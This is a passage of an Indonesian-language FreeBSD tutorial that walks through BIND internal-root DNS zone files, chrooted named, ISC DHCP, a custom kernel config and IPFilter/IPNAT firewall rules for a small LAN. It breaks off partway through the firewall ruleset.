==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
